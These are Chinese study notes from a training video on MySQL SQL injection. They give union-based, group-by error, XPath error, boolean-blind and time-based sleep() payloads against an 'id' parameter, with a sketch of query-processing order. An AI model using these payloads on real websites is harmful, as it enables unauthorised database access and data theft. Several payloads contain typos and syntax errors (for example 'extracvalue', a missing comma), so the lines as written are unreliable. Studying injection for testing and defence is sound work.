本次sql注入以mysql为例,整理的千锋网络视频的内容
有明显的层次结构库名|表名|字段名|字段内容
MySQL\ACCESS\mssql\oracle
version()//mysql版本 database() user() current_user() system_user()//系统用户名 @@datadir//数据库路径 @@version_compile_os//操作系统版本 length() substring() concat() caoncat_ws()//有分隔符 group_concat() rand() sleep()
联合查询:利用union select语句,会同时执行两条select语句,生成两张虚拟表。
联合查询必要条件
A union select B时,一般页面只显示A的内容,B的内容不显示,这时可在A后加入and 1=2等语句,将A的内容设为false,这种情况下就会在页面中显示B的内容。
联合查询时可用到hex(table_name)这个函数,为了避免引号影响,将文本转换为十六进制(数字格式);也可用到group_concat(table_name)这个函数,
group by注入
利用group by重复建冲突建报错
? id=33 union select 1,2,concat(left(rand(),3)'>',@@version,'>')as a,4,5,6 from information_schema.tables group by a--+
如果information_schema.tables等关键表被禁用,可用以下语句构造一个表
select 1 union select null union select !1
select concat(left(rand(),3),'>',select version(),'>')as x ,count(*) from (select 1 union select null union select !1)as x group by a--+
如果rand()和count()被禁用,可以用以下方式
select min(@a:=1) from (select 1 union select null union select !1)a group by concat('>',@@version,'>',@a=(@a+1)%2);
** SQL语句解析过程**
- from:from标识了这条语句要查的数据源,形成虚拟表VT1。
- where:对VT1过程中生成的临时表进行过滤,把满足where字句的列插到VT2
- group by:把VT2生成的表按照group by 中的列进行分组,形成VT3。
- having:对VT3进行过滤,满足条件的数据被加到VT4
- select:对select子句中的元素进行处理,形成VT5表(先计算表达式,再distinct之类)
** XPath报错注入**
id?=33 and extracvalue(1,concat('>',(select version()),'<')--+`
?id=33 and updatexml(1,concat('>',select version(),'<'),1)--+
id=1 and ascii(substr(database(),1,1))>0
利用sleep()语句
?id=3 and if(length(database())=3,sleep(5),1)--+